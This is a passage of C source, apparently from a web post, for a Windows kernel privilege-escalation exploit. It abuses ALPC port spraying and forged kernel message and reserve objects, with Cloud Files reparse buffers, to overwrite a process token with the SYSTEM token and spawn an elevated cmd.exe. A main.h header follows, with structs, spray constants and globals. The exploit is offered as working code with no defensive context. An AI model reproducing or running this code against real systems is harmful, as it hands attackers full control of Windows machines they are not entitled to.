  pAlpcMsgData[1] = 0x00787878; // name
  for (int i = 0; i < g_portCount; i++) {
    status = NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE) alpcMessage, NULL, NULL, NULL, NULL, NULL);
    if (!NT_SUCCESS(status)) {
      printf("[-] Error\n");
      return FALSE;
    }
  }

  // read system token
  result = PipeReadAttr(pipeName, outputData, 0x1000);
  if (!result) {
    printf("[-] Error\n");
    return FALSE;
  }

  ullToken = * (ULONG_PTR * )(outputData + tokenOffset);
  tmpEntry = g_message -> Entry;

  if (!isKernAddr(ullToken)) {
    printf("[-] Error\n");
    return FALSE;
  }

  PKALPC_BLOB blob;

  blob = (PKALPC_BLOB)(g_reserve) - 1;
  memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE));
  blob -> Ref = 1;
  blob -> Type = AlpcReserveType;
  g_reserve -> Size = 0x28;
  g_reserve -> Message = g_message;

  blob = (PKALPC_BLOB)(g_message) - 1;
  memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE));
  blob -> Ref = 1;
  blob -> Type = AlpcMessageType;
  g_message -> Reserve = g_reserve;
  g_message -> ExtensionBuffer = (BYTE * ) ullEPROCaddr + tokenOffset;
  g_message -> ExtensionBufferSize = 8;

  DataLength = 8;
  memset(alpcMessage, 0, sizeof(ALPC_MESSAGE));
  alpcMessage -> PortHeader.u1.s1.DataLength = DataLength;
  alpcMessage -> PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
  alpcMessage -> PortHeader.MessageId = (ULONG) g_hResource;
  pAlpcMsgData[0] = ullToken;
  for (int i = 0; i < g_portCount; i++) {
    NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE) alpcMessage, NULL, NULL, NULL, NULL, NULL);
  }
  g_message -> Entry = tmpEntry;

  STARTUPINFO StartupInfo = {
    0
  };
  PROCESS_INFORMATION ProcessInformation = {
    0
  };

  result = CreateProcess(
    L "C:\\Windows\\System32\\cmd.exe",
    NULL,
    NULL,
    NULL,
    FALSE,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL, &
    StartupInfo, &
    ProcessInformation
  );
  if (result == FALSE) {
    printf("[-] Error\n");
    return FALSE;
  }

  while (1) {};
}
#pragma once

/*
	Definitions (main.h)
*/

#define MAX_MSG_LEN 0x500
#define ALPC_MSGFLG_NONE 0x0
#define STATUS_INFO_LENGTH_MISMATCH((NTSTATUS) 0xC0000004 L)
#define WINDOWS_BUILD_19H1 18362
#define WINDOWS_BUILD_19H2 18363
#define SPRAY_COUNT 0x1000
#define REPARSE_BUFFER_MAGIC_VALUE 'pReF'
#define REPARSE_BITMAP_MAGIC_VALUE 'pRtB'
#define TARGET_PATH L "C:\\Users\\user\\source\\repos\\ConsoleApplication2\\SYNC_ROOT"
#define TARGET_DIR L "C:\\Users\\user\\source\\repos\\ConsoleApplication2\\"
#define CLD_ADD_ITEM(tag, size, offset) {
  cld -> Items[cld -> NumItems].Tag = tag;
  cld -> Items[cld -> NumItems].Size = size;
  cld -> Items[cld -> NumItems].Offset = offset;
  cld -> NumItems++;
}

/*
	Structs
*/

typedef enum _KALPC_BLOB_TYPE {
  AlpcMessageType = 0x200,
    AlpcReserveType = 0x700
}
KALPC_BLOB_TYPE;

typedef struct _PORT_MESSAGE {
  union {
    struct {
      USHORT DataLength;
      USHORT TotalLength;
    }
    s1;
    ULONG Length;
  }
  u1;
  union {
    struct {
      USHORT Type;
      USHORT DataInfoOffset;
    }
    s2;
    ULONG ZeroInit;
  }
  u2;
  union {
    CLIENT_ID ClientId;
    double DoNotUseThisField;
  };
  ULONG MessageId;
  union {
    SIZE_T ClientViewSize;
    ULONG CallbackId;
  };
}
PORT_MESSAGE, * PPORT_MESSAGE;

typedef struct _KALPC_BLOB {
  ULONGLONG Type;
  LONGLONG Ref;
  ULONGLONG Reserved1;
  ULONGLONG Reserved2;
  CHAR Data[];
}
KALPC_BLOB, * PKALPC_BLOB;

typedef struct _KALPC_MESSAGE {
  struct _LIST_ENTRY Entry;
  struct _ALPC_PORT * PortQueue;
  struct _ALPC_PORT * OwnerPort;
  struct _ETHREAD * WaitingThread;
  union {
    struct {
      ULONG QueueType: 3;
      ULONG QueuePortType: 4;
      ULONG Canceled: 1;
      ULONG Ready: 1;
      ULONG ReleaseMessage: 1;
      ULONG SharedQuota: 1;
      ULONG ReplyWaitReply: 1;
      ULONG OwnerPortReference: 1;
      ULONG ReceiverReference: 1;
      ULONG ViewAttributeRetrieved: 1;
      ULONG ViewAttributeDeleteOnRelease: 1;
      ULONG InDispatch: 1;
      ULONG InCanceledQueue: 1;
    }
    s1;
    ULONG State;
  }
  u1;
  LONG SequenceNo;
  union {
    struct _EPROCESS * QuotaProcess;
    VOID * QuotaBlock;
  };
  struct _ALPC_PORT * CancelSequencePort;
  struct _ALPC_PORT * CancelQueuePort;
  LONG CancelSequenceNo;
  struct _LIST_ENTRY CancelListEntry;
  struct _KALPC_RESERVE * Reserve;
  BYTE MessageAttributesStub[0x48];
  VOID * DataUserVa;
  struct _ALPC_COMMUNICATION_INFO * CommunicationInfo;
  struct _ALPC_PORT * ConnectionPort;
  struct _ETHREAD * ServerThread;
  VOID * WakeReference;
  VOID * WakeReference2;
  VOID * ExtensionBuffer;
  ULONGLONG ExtensionBufferSize;
  struct _PORT_MESSAGE PortMessage;
}
KALPC_MESSAGE, * PKALPC_MESSAGE;

typedef struct _KALPC_RESERVE {
  struct _ALPC_PORT * OwnerPort;
  struct _ALPC_HANDLE_TABLE * HandleTable;
  VOID * Handle;
  struct _KALPC_MESSAGE * Message;
  ULONGLONG Size;
  LONG Active;
}
KALPC_RESERVE, * PKALPC_RESERVE;

typedef struct _ALPC_PORT_ATTRIBUTES {
  unsigned long Flags;
  SECURITY_QUALITY_OF_SERVICE SecurityQos;
  unsigned __int64 MaxMessageLength;
  unsigned __int64 MemoryBandwidth;
  unsigned __int64 MaxPoolUsage;
  unsigned __int64 MaxSectionSize;
  unsigned __int64 MaxViewSize;
  unsigned __int64 MaxTotalSectionSize;
  ULONG DupObjectTypes;
  #ifdef _WIN64
  ULONG Reserved;
  #endif
}
ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;

typedef struct _REPARSE_DATA_BUFFER {
  ULONG ReparseTag;
  USHORT ReparseDataLength;
  USHORT Reserved;
  union {
    struct {
      USHORT SubstituteNameOffset;
      USHORT SubstituteNameLength;
      USHORT PrintNameOffset;
      USHORT PrintNameLength;
      ULONG Flags;
      WCHAR PathBuffer[1];
    }
    SymbolicLinkReparseBuffer;
    struct {
      USHORT SubstituteNameOffset;
      USHORT SubstituteNameLength;
      USHORT PrintNameOffset;
      USHORT PrintNameLength;
      WCHAR PathBuffer[1];
    }
    MountPointReparseBuffer;
    struct {
      UCHAR DataBuffer[1];
    }
    GenericReparseBuffer;
  }
  DUMMYUNIONNAME;
}
REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

typedef struct {
  WORD Tag;
  WORD Size;
  DWORD Offset;
}
REPRASE_CLD_ITEM, * PREPRASE_CLD_ITEM;

typedef struct {
  DWORD Magic;
  DWORD Crc32;
  DWORD Size;
  WORD Reserved;
  WORD NumItems;
  REPRASE_CLD_ITEM Items[];
}
REPARSE_CLD_BUFFER, * PREPARSE_CLD_BUFFER;

/*
	Globals
*/

UINT g_portCount = SPRAY_COUNT;
PHANDLE g_ports;
PKALPC_RESERVE g_reserve;
PKALPC_MESSAGE g_message;

 

?

Get in touch

Skip to content